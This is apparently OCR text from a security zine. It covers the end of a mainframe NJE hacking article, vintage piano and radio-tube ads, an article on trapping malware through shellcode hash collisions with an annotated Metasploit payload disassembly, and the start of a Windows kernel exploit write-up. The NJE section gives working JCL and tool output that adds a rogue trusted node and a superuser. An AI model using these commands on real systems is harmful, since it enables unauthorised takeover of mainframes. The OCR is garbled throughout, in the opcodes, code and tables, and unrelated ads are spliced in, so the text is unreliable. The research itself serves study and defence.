trusted nodes for us. Now that we confirmed she 
has administrative access, we submit some JCL 
that executes the commands we need to add a new 
trusted node. While we’re at it, might as well add a 
new superuser named DADE, as shown in Figure 19. 

Now we added the node H4CKR as a trusted node. 
Therefore, any userid that exists on POTATO is now 
available to us for our own nefarious purposes. In 
addition, we added a superuser called DADE with 
access to both TSO and UNIX. From here we could 
shutdown POTATO, execute any commands we’d 
like, create new users, reset user passwords, down- 
load the RACF database, create APF authorized 
programs. The ownage is endless. 
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1 . / j c 1 . py CACTUS POTATO 10.10.10.1 JCL / 1 s o . j c 1 margo 
[ + ] RHOST: CACTUS 
3 [ + ] OHOST: POTATO 

[+] IP : 10.10.10.1 

5 [+] File : JCL/tso.jcl 

[ + ] User : margo 

7 [ + ] Connected 

9 [ + ] Sending file: JCL/tso.jcl 

10 20 30 40 50 60 70 80 

11 

//H4CKRNJE JOB (1234567) , ’ABC 1 2 3 ’ , CLASS=A , 

13 // MSGLEVEL= (0,0) , MSGCLASS=K, NOTIFY=&SYSUID 

/ *XEQ POTATO 

15 //TSOCMD EXEC PGM=IKJEFT01 
/ / SYSTSPR T DD SYSOUT=* 

17 //SYSOUT DD SYSOUT=* 

//SYSTSIN DD * 

19 lu 
/* 

21 

10 20 30 40 50 60 70 80 

23 = 

[+( User Message 
25 [+] User: MARGO 

[+] Message: 15.03.19 JOB00046 $H ASP 122 H4CKRNJE ( JOB00049 FROM CACTUS) RECEIVED AT POTATO 
27 = 

[+] Records in SYSOUT: 

29 1 J E S 2 JOB LOG — SYSTEM E M C 1 — NODE POTATO 

0 

31 [...] 

1READY 
33 lu 

USERMMARGO NAMEhMargo Smith OWNERr=MINING CREATED= 15. 104 

35 DEFA ULT-GROUP=MINING PASSDATE= 16 .083 PASS-INTERVAL=180 PHRASEDATEhN/A 

A TTRIBUTES=SPECIAL OPERATIONS 
37 [...j 
READY 
39 END 


Figure 18 - JCL permissions check 
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5 
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11 

13 

15 

17 
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21 

23 

25 

27 

29 

31 

33 

35 

37 

39 

41 


43 

45 

47 

49 

51 


. / j c 1 . py CACTUS POTATO 10.10.10.1 JCL / r a c f . j c 1 margo 

[ + ] RHOST: CACTUS 

[ + ] OHOST: POTATO 

[+] IP : 10.10.10.1 

[+] File : JCL/racf.jcl 

[ + ] User : margo 

[ + ] Connected 


[+] Sending file: JCL/racf.jcl 

10 20 30 40 50 60 70 80 

//H4CKRNJE JOB (1234567) , ’ABC 1 2 3 ’ , CLASS=A , 

// MSGLEVEL= (0,0) , MSGCLASS=K, NOTIFY=&SYSUID 

/ *XEQ POTATO 

//TSOCMD EXEC PGM=IKJEFT01 

//SYSTSPRT DD SYSOUT=* 

//SYSOUT DD SYSOUT=* 

//SYSTSIN DD * 

RALTER RACFVARS &RACLNDE ADDMEM( H4CKR ) 

SETROPTS RACLIST (RACFVARS) REFRESH 
ADDUSER DADE PASSWORD (BESTPWD) 

ALU DADE TSO(ACCTNUM(ACCT#) PROC(ISPFPROC) ) 

ALU DADE OMVS(UID(31337) PROGRAM)/ bin/sh ) HOME(/)) 

/* 

10 20 30 40 50 60 70 80 


[+] Response Received 
[+] NMR Records 


[+] User Message 
[+] To User: MARGO 

[+] Message: 15.29.55 JOB00048 $H ASP 122 H4CKRNJE (JOB00049 FROM CACTUS ) RECEIVED AT POTATO 


[+] Records in SYSOUT: 

1 J E S 2 JOB LOG — SYSTEM E M C 1 — NODE POTATO 

0 

[...] 

1READY 

RALTER RACFVARS &RACLNDE ADDMEM(H4CKR) 

ICH 110091 RACLISTED PROFILES FOR RACFVARS WILL NOT REFLECT THE UPDATE(S) UNTIL A SETROPTS 
REFRESH IS ISSUED. 

READY 

SETROPTS RACLIST (RACFVARS) REFRESH 
READY 

ADDUSER DADE PASSWORD (BESTPWD) 

READY 

ALU DADE TSO (ACCINUM(ACCT#) PROC(ISPFPROC) ) SPECIAL 
READY 

ALU DADE OMVS(UID (31337) PROGRAM) / bin/sh ) HOME)/)) 

READY 

END 


Figure 19 - Adding a superuser 
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6.6 Conclusion 


NJE is relatively unknown despite being so widely 
used and important to most mainframe implementa- 
tions. Hopefully, this article showed you how power- 
ful NJE is, and how dangerous it can be. Everything 
in this article could be prevented with a few simple 
tweaks. Not using the PASSW0RD= parameter and 
instead using SSL certificates for system authenti- 
cation would make these attacks useless. On top of 
that, instead of declaring the nodes to RACF, you 
could give very specific access rights to users from 
various nodes. This would prevent a malicious user 
from submitting as any user they please. 

If you’re really interested in this protocol, 
NJELib also supports a debug mode, which gives 
information about everything happening behind the 
scenes. It’s very verbose. Another feature of 
NJELib is the ability to deconstruct captured pack- 
ets. 

With the information in this article, you should 
now have a grasp of the mainframe and NJE. Your 
interest has been piqued about the endless poten- 
tial of mainframe hacking. If that’s the case, where 
do you go from here? There are some great write- 
ups about buffer overflows and crypto on z/OS at 
bigendiansmalls . com. You can also read up about 
tn3270 hacking at mainframed767.tumblr.com. 


Ijenrujf. Killer 


TOME 

is first conceived in the mind of the artist, 
who is aided in its expression by the per- 
fection of the instrument he uses. 

Henry F. Miller was a musician of matured 
Judgment when in 1863 he began to make pianos; 
he built the of pianos upon which he himself 
liked to play, and HIS standard of TONE QUALITY 
is expressed in the instruments which bear his name. 

Many artists and critics prefer the Henry F. 
Miller Tone to all others; to know it is to like 
it, and those love it most who know it best, 
because it wears the longest. 

To-day, better than ever, 
it confidently invites your 
critical judgment. 


Lyric Grand 
$750 


WAREROOMS. 


395 Boylston St. 
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ALL ED 


your oesf supply sourte for 
ELECTRON TUBES for every 
Amateur & Industrial Use 


IMMEDIATE DELIVERY FROM STOCK 


allied stocks for <?«ze« shipment the world s 
largest distributor inventory of receiving, 
kinescope and special-purpose electron tubes. 

Whether your tube requirements are for 
your station equipment or for your work in 
industry, you can always depend on us for 
quick, efficient shipment direct from 
\ our huge stocks. To save time, effort 

% and money— phone, wire or write to us 
:h for fast delivery. 


Everything for the Amateur 
from one complete 
dependable source 


FREE 308-PAGE BUYING GUIDE 

Refer to your latest ALLIED Catalog for 
everything you require in Amateur gear and 
electronic supplies. Get every buying advan- 
tage: quick shipment from the largest stocks 
available; easy payment plan on Ham gear; 
unbeatable trade-ins; real help from our Ham 
staff. Yes, get everything you need at ALLIED. 

If you haven't a copy of our 1955 Catalog, 
write for it today. 

ALLIED RADIO 

100 N. Western Ave., Dept. 15-E-5 Chicago BO, III., 
HAymarlcet 1-6800 


ultra-modern facilities to serve you best 
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7 Exploiting Weak Shellcode Hashes to Thwart Module Discovery; 
or, Go Home, Malware, You’re Drunk! 


There is a famous Soviet film called Mponusi 
cydb6u, ujiu C jieeKUM napo.M,! ( The Irony of Fate, 
or Enjoy Your Bath!) that pokes fun at the unifor- 
mity of Brezhnev-era public architecture and hous- 
ing. The protagonist of the movie gets drunk and 
winds up on a plane bound for Leningrad. When 
he arrives, he mistakenly believes he landed in his 
home town of Moscow. He stumbles into a taxi and 
gives the address of his apartment. Sure enough, the 
same address exists in Leningrad, and the building 
looks identical to his apartment in Moscow. His key 
even unlocks the apartment with the same number, 
and the furniture inside is nearly identical to his, 
so he decides to go to sleep. Everyone’s favorite 
heart-warming romantic comedy ensues, but that’s 
another story. 

Neighbors, the goal of this article is to convince 
you that Microsoft is Brezhnev, Windows is the So- 
viet Union, kernel32.dll is the apartment, and 
malware is the drunk protagonist. Furthermore, 
dear neighbor, we will provide you with the knowl- 
edge of how to coax malware into tippling from our 
proverbial single malt waterfall so that it mistakenly 
visits a different apartment in a faraway city. 

7.1 Background: PIC and Malware 

Let’s begin with a look at how position-independent 
code (PIC) used by malware is different from be- 
nign code, and then examine the logic of the Meta- 
Sploit payload known as “windows/exec,” which is 
a representative example of both exploit shellcode 
and malware-injected position-independent code. If 
you’re already familiar with how malware-injected 
position-independent code works, it’s safe for you to 
skip to Section 7.2. 

Most executable code on Windows is dynami- 
cally linked, meaning it is compiled into separate 
modules and then is linked together at runtime by 
the operating system’s executable loader as a sys- 
tem of imports and exports. This dynamic linkage 
is either implicit (the typical kind; dynamic library 
dependence is declared in the header and the loader 
performs the address lookups at load time) or ex- 
plicit (less common; the dynamic library is option- 
ally loaded when needed and address lookups are 
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performed with the GetProcAddress system API). 

Much of maliciously delivered code— such as 
nearly all remote exploits and most instances of code 
that is injected by one process into another— shares 
a common trait of being loaded illegitimately: it 
circumvents the legitimate sequence of being loaded 
and initialized by the OS executable loader. It is 
therefore common for malicious code to not run as 
benign code does in its own process. Because at- 
tackers want to run their code within the access and 
privilege of a target process, malicious code is in- 
jected into it either by a local malicious process or by 
an arbitrary code execution exploit. These two ap- 
proaches (code injection and exploit shellcode) can 
be treated similarly in that both of them involve 
position-independent injected code. 

Unlike benign code that is loaded by the operat- 
ing system as a legitimate executable module from 
a file on disk, illicit position-independent code must 
search and locate essential addresses in memory on 
its own without the assistance of the loader. Because 
of Address Space Layout Randomization (ASLR), 
the injected code cannot simply use pre-determined 
hardcoded addresses of these locations, and neither 
can it rely on the GetProcAddress routine, because 
it doesn’t know its address either. 

Typically, the first goal of the injected code is 
to find kernel32.dll, because it contains the APIs 
necessary to bootstrap the remainder of the mal- 
ware’s computation. Before Windows 7, everyone 
was using shellcode that assumed kernel32.dll 
was the first module in the linked list pointed to 
by the Process Environment Block (PEB), because 
it was the first DLL module loaded by the process. 
Windows 7 came along and started loading another 
module first, and that broke everyone’s shellcode. 

A common solution these days is just as frag- 
ile. Some have proposed shellcode that assumes 
kernel32.dll is the first DLL with a 12-character 
name in the list (the shellcode just looks for a mod- 
ule name length match). If we were to load in a 
DLL named PoCrGTFO.dll before kernel32.dll, 
that shellcode would fail. Other Windows 7 shell- 
code assumes that kernel32 . dll is the second (now 
third) DLL in the linked list; we would be invalidat- 
ing that assumption, too. 
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The MetaSploit Framework is perhaps the most 
popular exploit development and delivery frame- 
work. One can create a custom exploit reusing stan- 
dard components that MetaSploit provides, greatly 
accelerating development time. One important com- 
ponent is the payload. A “payload” in MetaSploit 
parlance is the generic (reusable by many exploits) 
portion of position-independent exploit code that at- 
tackers execute after they have successfully begun 
executing arbitrary instructions, but before they 
have managed to do anything of value. A payload’s 
function can be to either establish a barebones com- 
mand & control capability ( e.g ., a remote shell), to 
download and execute a second stage payload (most 
common in real-world malware), or to simply exe- 
cute another program on the victim. The latter is 
the purest example of a payload, and this is what 
we will show here. The logic of the “windows/exec” 


payload is presented in Algorithm 1. As you can see, 
it employs a relatively sophisticated method for dis- 
covering kernel32.dll, by walking the PEB data 
structure and matching the module by a hash of its 
name. 

On the following two pages, we have included an 
annotated listing of the disassembly for this payload. 
We encourage the reader to follow our comments in 
order to get an understanding for how injected code 
gets its bearings. Although this code directly locates 
the function it wants, if it were going to find more 
than one, it would probably just use this method 
to find GetProcAddress instead and use that from 
there on out. 

For clarity, the disassembly is shown with rela- 
tive addresses (offsets) only. The address operands 
in relative jump instructions have been similarly for- 
matted for clarity. 


(PEB) — > (Ldr) — {inMemOrder Module List} 


modified 




1 


& strlen (modul' 


#(“????”) == #(“kernel32.dll”) 

\ 

“PoCrGTFO.dll” 

■** x l 

“kernel32.dll” ' ' s > 1 

s : 

Of 

N (£ / 

' a' 

. ' Si 

» / 

• / 


e_name) == strlenCkernel32.dll") - ■* 


& hash(module_name) == hash ( "kernel32 . dll") 


Algorithm 1 The logic of a MetaSploit “exec” payload. 

1: Get pointer to process’ header area in memory /* Initialize Shellcode */ 

2: to 4 — Derive a pointer to the list of loaded executable modules 
3: for each module in m 

4: n m 4— Derive a pointer to the module’s “base name” 

5: h m 4— HASH(n m ); /* rotate every byte into a sum */ 

6: t 4 — Derive a pointer to the module’s “export address table” (exported functions) 

7: for each function in t 

8: rif 4— Derive a pointer to the function’s name 

9: hf 4— Hash(u/); /* rotate every byte into a sum */ 

10: if h m and hf combine to match a precomputed value then 

11: We’ve found the system API (in this case, kernel32 . dll’s WinExec function) 

12: end if 

13: end for 

14: end for 

15: Prepare the arguments to the found API, WinExec, then call it 
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Addr. 

Opcodes 

Instruction 

Comment 

T — i 

' +0x00 

f c 

cld 

Clears the “direction” flag (controls looping instructions to 

5 




follow) . 

ffi i— i 

H ryi 

+0x01 

e889000000 

call +8F 

Calls its initialization subroutine. 

s z < 

+0x06 

60 

pushad 

Initialization subroutine returns to here. Preserve all reg- 

g J 




isters. 


+0x07 

89e5 

mov ebp,esp 

Establish a new stack frame. 

C 

. +0x09 

31d2 

xor edx,edx 

EDX starts as 0. 


' +0x0B 

648b5230 

mov edx, dword ptr fs:[edx+30h] 

Acquires the address of the Process Environment 





Block (PEB), always at an offset of 0x30 from the value 

i— l 




in FS. 

s 

+0x0F 

8b520c 

mov edx, dword ptr [edx+OCh] 

Gets the address within the PEB of the PEB_LDR_DATA 

ffi cn 

H m 




structure (which holds lists of loaded modules) . 

S Z < 

+0x12 

8b5214 

mov edx, dword ptr [edx+14h] 

Get the “Flink” linked list pointer (within the 

g J 




PEB_LDR_DATA) to the LIST_ENTRY within the first 

V . J 
hJ 




LDR_M0DULE in the InMemOrderModuleList. 

<! 

+0x15 

8b7228 

mov esi, dword ptr [edx+28h] 

Offset 0x28 within LDR_M0DULE points to the base name of 





the module, as a UTF-16 string. 


^ +0x18 

0fb74a26 

movzx ecx, word ptr [edx+26h] 

Offset 0x26 within LDR_M0DULE is the base name’s string 





length in bytes; used as a loop counter. 

Line 3 { 

( +0xlC 

31f f 

xor edi , edi 

The module name string “hashing” loop begins here. 

1 +0xlE 

31c0 

xor eax, eax 

Clear EAX to 0. 

i— 1 

' +0x20 

ac 

lods byte ptr [esi] 

Recall that ESI points to the Unicode base name of a mod- 

s 




ule. This loads a byte of that string into AL. 

ffi 

H ryi 

+0x21 

3c61 

emp al, 61h 

0x0061 is “a” in UTF-16, also 0x61 is lowercase “a” in ASCII. 

KH W J 

g Z 1 




This is a check for capitalization. 

g J 

+0x23 

7c02 

jl +0x27 

Capital letters have values below 0x61; if this letter is below 

J 




0x61 then skip ahead. 

c 

„ +0x25 

2c20 

sub al , 2 Oh 

Otherwise, capitalize the letter by subtracting 0x20. This 





is to normalize string capitalization before hashing. 

1 

f +0x27 

clef Od 

ror edi , ODh 

Step 1 of 2 of hashing algorithm: rotate EDI to the right 

Line 5 \ 




by OxOD (13) bits. 


l +0x2A 

01c7 

add edi , eax 

Step 2 of 2 of hashing algorithm: add to a rolling sum in 





EDI. 


+0x2C 

e2f 0 

loop +0xlE 

Repeat the loop (as ECX counts down). 


' +0x2E 

52 

push edx 

The enumeration of exported function names begins here. 


+0x2F 

57 

push edi 



+0x30 

8b5210 

mov edx, dword ptr [edx+lOh] 

LDR_M0DULE + offset 0x10 is the image base address of the 





module. 


+0x33 

8b423c 

mov eax, dword ptr [edx+3Ch] 

LDR_M0DULE + offset 0x3C = RVA of the start of the mod- 

i— i 




ule’s PE header. 

s 

+0x36 

OldO 

add eax, edx 

Image base + RVA of PE header == pointer to the PE 

K CO 

H ryi 




header. 

S z < 

+0x38 

8b4078 

mov eax, dword ptr [eax+78h] 

Offset 0x78 into a PE header is the RVA of the export 

g j 




address table (EAT). 

i-J 

+0x3B 

85c0 

test eax, eax 

Test if there is no export table, in which case the value in 

c 




EAX is 0. 


+0x3D 

744a 

je +0x89 

If it was 0, then abort the enumeration of exports and con- 





tinue to the next module in memory. 


+0x3F 

OldO 

add eax, edx 

Else, RVA of EAT (in EAX) + image base (EDX) — y this 





module’s export table (EAX). 


c +0x41 

50 

push eax 

Save the pointer to the EAT. 


' +0x42 

8b4818 

mov ecx, dword ptr [eax+18h] 

EAT offset 0x18 holds the number of functions exported by 





name in this module. 


+0x45 

8b5820 

mov ebx, dword ptr [eax+20h] 

EAT offset 0x20 holds the RVA to exported function names 

ffi b- 




table (ENT), an array of pointers. 


+0x48 

01d3 

add ebx , edx 

ENT RVA (in EBX) + image base (in EDX) = pointer to 

(U 2 1 
o ^ 




ENT (now in EBX). 

o J 

+0x4A 

e33c 

jeexz +0x88 

Loop start: if every name in the array has been hashed 

<! 




and none matched (ECX counter reached 0), then jump to 





+0x88. 


c +0x4C 

49 

dec ecx 

Otherwise, count down how many function names are left 





to check. 


+0x4D 

8b348b 

mov esi, dword ptr [ebx+ecx*4] 

Working the list backwards, calculate a RVA to the next 


exported name — y ESI. 
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ffi 00 
& W 
X Z 

g J 

J 

Line 9 



x 

H 

3 

o 

o 

< 


H 

g 


Line 15 


+0x50 

01d6 

add esi, edx 

< +0x52 

31f f 

xor edi , edi 

+0x54 

31c0 

xor eax, eax 

* +0x56 

ac 

lods byte ptr [esi] 

f +0x57 

clef Od 

ror edi , ODh 

\ +0x5A 

01c7 

add edi , eax 

' +0x5C 

38e0 

emp al , ah 

+0x5E 

75f 4 

jne +0x54 

+0x60 

/ 

037df 8 

add edi, dword ptr [ebp-8] 

+0x63 

3b7d24 

emp edi, dword ptr [ebp+24h] 

. +0x66 

75e2 

jne +0x4A 

+0x68 

58 

pop eax 

+0x69 

8b5824 

mov ebx, dword ptr [eax+24h] 

+0x6C 

01d3 

add ebx , edx 

+0x6E 

668b0c4b 

mov cx, word ptr [ebx+ecx*2] 

+0x72 

8b581c 

mov ebx, dword ptr [eax+lCh] 

< +0x75 

01d3 

add ebx , edx 

+0x77 

8b048b 

mov eax, dword ptr [ebx+ecx*4] 

+0x7 A 

OldO 

add eax, edx 

+0x7C 

89442424 

mov dword ptr [esp+24h] , eax 

+0x80 

5b 

pop ebx 

+0x81 

5b 

pop ebx 

+0x82 

61 

popad 

+0x83 

59 

pop ecx 

„ +0x84 

5a 

pop edx 

( +0x85 

51 

push ecx 

l +0x86 

ffeO 

jmp eax 

+0x88 

58 

pop eax 

+0x89 

5f 

pop edi 

+0x8A 

5a 

pop edx 

+0x8B 

8bl2 

mov edx, dword ptr [edx] 

+0x8D 

eb86 

jmp +0x15 

+0x8F 

5d 

pop ebp 

+0x90 

6a01 

push 1 

+0x92 

8d85b9000000 

lea eax, [ebp+0B9h] 

+0x98 

50 

push eax 

+0x99 

68318b6f 87 

push 876F8B31h 

+0x9E 

f fd5 

call ebp 


Add RVA to image base (EDX) to calculate the pointer to 
the next exported name => ESI. 

Exported function name hashing loop begins here. EDI = 

0. 

EAX = 0. 

This loads a byte of the ASCII name string into AL. 

Step 1 of 2 in hashing algorithm. 

Step 2 of 2 in hashing algorithm. 

AH holds 0, so this is a tricky way of checking that AL is 
0, which would indicate the end of a string. 

If the string is not over yet, jump back and keep hashing. 
Combine the hash of the exported function name with the 
previously computed hash of the module name string that 
is stored on the stack. 

Final check of hashed name strings: does the resulting value 
equal the precomputed value (that is also stored on the 
stack) 

If not, move to the next exported function name in the 
table and repeat the hash & check. 

Else, this is the shellcode’s desired function name. Prepare 
to call this function by bringing back the location of the 
EAT. 

Offset 0x24 into the EAT is the RVA called AddressOf- 
N ameOrdinals . 

RVA (in EBX) + image base (in EDX) => address of ex- 
ported name ordinals array (in EBX). 

Offset within the array of the exported function ordinals 
= > ECX. 

Offset 0x1 C into the EAT is the RVA called AddressOf- 
Functions. 

RVA (in EBX) + image base (in EDX) => address of ex- 
ported functions’ RVA array. 

Offset within the array of the exported functions’ RVAs => 
ECX. 

RVA of exported function (in EAX) + image base (in EDX) 
= > pointer to function (in EAX) 

Store the function pointer in a local variable on the stack. 
Cleaning up the stack. 

Cleaning up the stack. 

More stack cleanup. 

More stack cleanup. 

More stack cleanup. 

WinExec takes two arguments pushed onto the stack before 
a call: a string indicating the executable, and a DWORD 
indicating a show/hide flag. 

This is the “call” to the exported function, 
kernel32! WinExec, and the end of the shellcode. 

Execution jumps here if “this wasn’t the right module.” 
Alternately it also may jump here for the same reason. 
This and the last instruction: restore old values of EDI, 
EDX. 

The value at EDX is the first field of a linked list node, and 
is a pointer to the next loaded module. 

Start over with determining if this is the correct module. 
Shellcode initialization begins here. 

The “show/hide” flag value for the eventual call to 
WinExec. 1 means “normal”. 

Calculate an address to the command line string. 

Push the command line parameter on the stack. 

Store the pre-computed hash value sum of “kernel32.dll” + 
“WinExec”. 

Calls/returns to +0x06. 
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7.2 Shellcode Havoc: 

Generating Hash Collisions 

In the previous section, we described how PIC that 
is injected at runtime is inherently “drunk”: since 
it circumvents the normal loader, it needs to boot- 
strap itself by finding the locations of its required 
API calls. If the code is malicious, this imposes 
additional constraints, such as size restrictions (on 
the shellcode) and the inability to hardcode func- 
tion names (to avoid fingerprinting). Some malware 
is very naive and simply matches function names 
based on length or their position in the EAT; such 
approaches are easily thwarted, as described above. 
Others have proposed completely relocating the Ad- 
dress of Functions table and catching page faults 
when any code tries to access it (cf. Phrack Vol- 
ume 0x0b, Issue 0x3f, Phile ^OxOf). 

Most modern (Windows 7 and newer) malware 
payloads temper their drunkenness by hashing the 
module and function names of the APIs they need to 
find. Unfortunately, the aforementioned constraints 
on shellcode mean that a cryptographically secure 
hashing algorithm would be too cumbersome to em- 
ploy. Therefore, the hashing algorithms they use are 
vulnerable to collisions. If we can generate a new 
module and/or function name that hashes to 
the same value that the malware is looking 
for, and if we ensure that the decoy mod- 
ule/function occurs before the real one in the 
EAT linked list, then any time that function 
is called we will know it is from malicious 
code. 

7.2.1 Shellcoder’s Handbook Hash 

First, let’s take a look at the hashing algorithm es- 
poused by Didier Stevens in The Shellcoder’s Hand- 
book. In C, it’s a nifty little one-liner: 

for(hash=0; *str; hash = (hash + (*str++ I 0x60)) « 1) ; 

Using this algorithm, the string “LoadLibraryA” 
hashes to 0xD5786. 

The first thing to notice is that the least signifi- 
cant bit of every hash will always be a zero, so let’s 
just shift the hash right by one bit to get rid of the 
zero. Next, notice that if the value of the hash is 
less than 256, then any single character that bit- 
wise matches the hash except for its sixth and sev- 
enth most significant bits (0x60 = ObOllOOOOO) will 
be a collision. Therefore, we can try all four pos- 
sibilities: hash, hash XOR 0x20, hash XOR 0x40, 


and hash XOR 0x60. In the case when the value of 
hash is greater than 256, we can inductively apply 
this technique to generate the other characters. 

The collision is constructed by building a string 
from right to left. A Python script that enumerates 
all 
1 

3 

5 

7 

9 

11 

13 


possible collisions is as follows. 

C = "a. . . z0. . . 9_" 

S = set (C) 
def collide (h) : 
h »= 1; 
if h < 256: 

for c in (0x40 , 0x80 , 0x60 , h) : 
s = chr(h ~ c) 

if s in S : 
yield s 

else : 

for c in map(ord, C) : 

if not ((((h — (c | 0x60)) & 0x1) 

!= 0) or ( ( h — (c | 0x60)) < 192)): 

for s in collide(li — (c | 0x60)): 

yield s + chr(c) 


Running collide (“LoadLibraryA”) yields over 
100000 collisions in the first 5 seconds alone, and 
can likely produce orders of magnitude more. Here 
are the first ten: 


4baaaabaabaa 

2faaaabaabaa 

Ojaaaabaabaa 

3ccaaabaabaa 

lgcaaabaabaa 


3daaaabaabaa 

lhaaaabaabaa 

4acaaabaabaa 

2ecaaabaabaa 

Oicaaabaabaa 


Of course, only one collision is sufficient. 


7.2.2 MetaSploit Payload Hash 

Next, let’s examine the MetaSploit payload’s hash- 
ing function described in the previous section. This 
function is a bit more complex, because it involves 
bit-wise rotations, making a brute-force approach 
(like we used for The Shellcoder’s Handbook algo- 
rithm) infeasible. The way the MetaSploit hash 
works is: at each byte of a NULL-terminated string 
(including the terminating NULL byte), it circularly 
shifts the hash right by OxD (13) places and then 
adds the new byte. This hash was likely chosen be- 
cause it is very succinct: the inner part of the loop 
requires only two instructions (ror and add). 

The key observation here is that, since the hash 
is additive, any prefix of a string that hashes to zero 
will not affect the overall hash of the entire string. 
That means that if we can find a string that hashes 
to zero, we can prepend it to any other string and 
the result will have the same hash: 

Hash(A) = 0 => Hash(H) = Hash(A + B). 
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This hash is relatively easy to encode as a Satis- 
fiability Modulo Theories (SMT) problem, for which 
we can then enlist a solver like Microsoft’s Z3 to enu- 
merate all strings of a given length that hash to zero. 
To find strings of length n that hash to zero, we cre- 
ate n character variables, c \, . . . , c n , and n + 1 hash 
variables, ho, hi, . . . , h n , where hi is the value of the 
hash for the substring of length i, and ho is of course 
zero. We constrain the character variables such that 
they are printable ASCII characters (although this 
is not technically necessary, since Windows allows 
other characters in the EAT), and we also constrain 
the hash variables according to the hashing method: 

hi = ((hi - 1 >> OxOD)|(/i i _i << (32 — OxOD))) +Cj. 


We then ask the SMT solver to enumerate all solu- 
tions in which h n = 0. We created a Python imple- 
mentation of this using Microsoft’s Z3 solver, which 
is included in the feelies. It is capable of producing 
thousands of zero-hash strings within seconds. Here 
are ten of them: 


LNZLTXWQYV 

TPTPPTVTWX 

TPNPLTVWWZ 

TPNPZTVWWS 

TPVPXTVSWT 


TPLPPTVXWX 

TPNPNTVWWY 

TPNPPTVWWX 

TPVPZTVSWS 

TPVPVTVSWU 


So, for example, if we were to create 
a DLL with an exported function named 
“LNZLTXWQYVLoadLibraryA” that precedes the real 
LoadLibraryA, a MetaSploit payload would mistak- 
enly call our honeypot function. 


7.2.3 SpyEye’s Hash 

Finally, let’s take a look at an example from the 
wild: the hash used by the Spy Eye malware, pre- 
sented in Algorithm 2. “LoadLibraryA” hashes to 
0xC8AC8026. 

Algorithm 2 The find-API-by-hashing method 

used by SpyEye. 

1: procedure HASH(name) 

2: j <— 0 

3: for i •<— 0 to Len (name) do 

4: left <- (j « 0x07) & OxFFFFFFFF 

5: right (j » 0x19) 

6: j <r- left | right 

7: j <r- j ~ name[i ] 

8: end for 

9: return j 

10: end procedure 


As you can see, this is very similar to Meta- 
Sploit’s method, in that it rotates the hash by seven 
bits for every character. However, unlike Meta- 
Sploit’s additive method, SpyEye XORs the value 
of each character. That makes things a bit more 
complex, and it means that our trick of finding a 
string prefix that hashes to zero will no longer work. 
Nonetheless, this hash is not cryptographically se- 
cure, and is vulnerable to collision. 

Once again, let’s encode it as a SMT problem 
with character variables Ci, ... ,c n and hash vari- 
ables ho, ... ,h n . The hash constraint this time is: 

hi = ((hi - 1 << 0x07)|(/ij_i >> 0x19)) ~ c u 


and we ask the SMT solver to enumerate solutions 
in which h n equals the same hash value of the string 
we want to collide with. 


Once again, Microsoft’s Z3 solver makes short 
work of finding collisions. A Python implementa- 
tion of this collision is also provided in the feelies. 
Here is a sample of ten strings that all collide with 

“LoadLibraryA”: 


RHDBJMZHQOIP 
YMACZU QPXKKK 
KMICZUQPXBKO 
KMICZUBPXBJW 
KMYCZVCPXBRW 


ILPSKUXYYKKK 
KM ACZU QPXBKK 
KMICZURPXBKW 
KMICZVBPXBRW 
KM Y CZVAPXBRG 
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8 UMPOwn 


With the introduction of new mitigation tech- 
nologies such as DeviceGuard, Windows 10 makes 
it increasingly harder for attackers to enter the ker- 
nel through Ring 0 drivers (which are now subject to 
even stricter code integrity / signing verification) or 
exploits (as increased mitigations and PatchGuard 
validations are used to detect these). However, even 
the best-written operating system with the best- 
intentioned team of developers will encounter vul- 
nerabilities that mitigations may be unable to stop. 

Therefore, the last key element needed in de- 
fending the security boundaries of the operating 
system is a sane response to quickly patch such 
vulnerabilities — without one, the entire defensive 
strategy falls apart. Incorrectly dismissing vulnera- 
bilities as “too hard to exploit” or misunderstanding 
the security boundaries of the operating system can 
lead to unfixed vulnerabilities, which can then be 
used to work around the large amount of resources 
that were developed in creating new security de- 
fences. 

In this article, we’ll take a look at an extremely 
challenging exploit — given a kernel function to sig- 
nal an event (KeSetEvent), can reliable code exe- 
cution from user-mode be achieved, if all that the 
attacker controls is the pointer to the event, which 
can be set to any arbitrary value? We’ll need to take 
a deep look at the Windows scheduler, understand 
the semantics and code flows of event signaling, and 
ultimately reveal a low-level scheduler attack that 
can result in arbitrary ROP-based exploitation of 
the kernel. 

8.1 ACT I. Controlling RIP and RSP 

8.1.1 Wait Object Signaling 

To understand event signaling in the NT kernel, one 
must first understand that two types of events, and 
their corresponding wake logic mechanisms: 

1. Synchronization Events, which have a wake 
one semantic 

2. Notification Events, which have a wake any / 
wake all semantic 

The difference between these two types of events 
is encoded in the Type field of the DISPATCHER - 
HEADER of the event’s KEVENT data structure, which 


by Alex Ionescu 

is how the kernel internally represents these objects. 
As such, when an event is signaled, either KiSig- 
nalNotificationObject or KiSignalSynchroniz- 
ationObject is used, which will wake up one wait- 
ing thread, or all waiting threads respectively. 

How does the kernel associate waiting threads 
with their underlying synchronization objects? The 
answer lies in the KWAIT_BL0CK data structure. 
Within which we find: the type of wait that the 
thread is performing and a pointer to the thread it- 
self (known as a KTHREAD structure). The two types 
of wait that a thread can make are known as wait 
any and wait all, and they determine if a single sig- 
naled object is sufficient to wake up a thread (OR), 
or if all of the objects that the thread is waiting on 
must be signaled (AND). In Windows 8 and later, a 
thread can also asynchronously wait on an object — 
and associate an I/O Completion Port, or a KQUEUE 
as it’s known in the kernel, with a wait block. For 
this scenario, a new wait type was implemented: 
wait notify. 



Therefore, simply put, a notification event will 
cause the iteration of all wait blocks— and the wak- 
ing of each thread, or I/O completion port, based 
on the wait type — whereas a synchronization event 
will do the same, but only for a single thread. How 
are these wait blocks linked you ask? On Windows 8 
and later they are guaranteed to all be allocated in a 
single, flat array, with a field in the KTHREAD, called 
WaitBlockCount, storing the number of elements. 
In Windows 7 and earlier, each wait block has a 
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pointer to the next (NextWaitBlock), and the final 
wait block points back to the first, creating a circu- 
lar singly-linked list. Finally, the KTHREAD structure 
also has a WaitBlockList pointer, which serves as 
the head of the list or array. 


8.1.2 Internals Intermezzo 

Let’s step back for a moment. We, from user mode, 
control the pointer to an arbitrary KEVENT, which we 
can construct in any way we want, and our goal is to 
obtain code execution in kernel mode. Based on the 
description we’ve seen so far, what are some ideas 
that come to mind? Certainly, we could probably 
cause some memory corruption or denial of service 
activity, by creating incorrect wait blocks or an infi- 
nite list. We could cause out-of-bounds memory ac- 
cess and maybe even flip certain bits in kernel-mode 
memory. But if the ultimate possibility (given the 
right set of constraints and linked data structures) is 
that a call to KeSetEvent will cause a thread to be 
woken, are we able to control this thread, and more 
importantly, can we get it to execute arbitrary code, 
in kernel mode? Let’s keep digging into the internals 
to find out more. 
